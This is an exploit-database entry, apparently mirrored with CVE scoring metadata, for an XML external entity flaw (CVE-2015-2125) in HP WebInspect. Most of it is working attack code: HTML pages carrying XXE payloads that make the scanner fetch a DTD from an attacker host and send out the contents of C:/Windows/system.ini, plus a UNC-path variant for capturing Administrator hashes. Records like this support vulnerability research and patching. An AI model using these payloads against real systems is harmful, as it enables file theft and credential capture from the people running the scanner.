HP WebInspect 10.4 - XML External Entity Injection

2015-06-1000:00:00

Jakub Palaczynski

www.exploit-db.com

6.6 Medium

AI Score

Confidence

Low

0.008 Low

EPSS

Percentile

82.1%

JSON

# Exploit Title: HP WebInspect - XML External Entity
# Date: 23\04\2015
# Exploit Author: Jakub Palaczynski
# Vendor Homepage: http://www.hp.com/
# Version: 10.4, 10.3, 10.2, 10.1, 10.0, 9.x, 8.x, 7.x
# CVE : CVE-2015-2125

1. Create website that exploits vulnerability.

1.1. Website that steals files using OOB technique:
1.1.1. Website that triggers vulnerability:
<html>
<body>

<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"http://attacker/file.xml">%25remote;%25int;%25trick;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>

</body>
</html>
1.1.2. file.xml file that is served on attacker's host. This file specifies which file should be retrieved from remote host and where content of that file should be sent:
<!ENTITY % payl SYSTEM "file:///C:/Windows/system.ini">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://attacker/?p=%payl;'>">

1.2. Website that steals hashes of Administrator user:
1.2.1. Website that triggers vulnerability:
<html>
<body>

<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"\\attacker\path\file.txt">%25remote;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>

</body>
</html>
1.2.2. Attacker needs to start tool on the server that captures hashes.

2. Exploit is triggered while profiling or scanning created application using vulnerable versions of HP WebInspect.

6.6 Medium

AI Score

Confidence

Low

0.008 Low

EPSS

Percentile

82.1%

JSON

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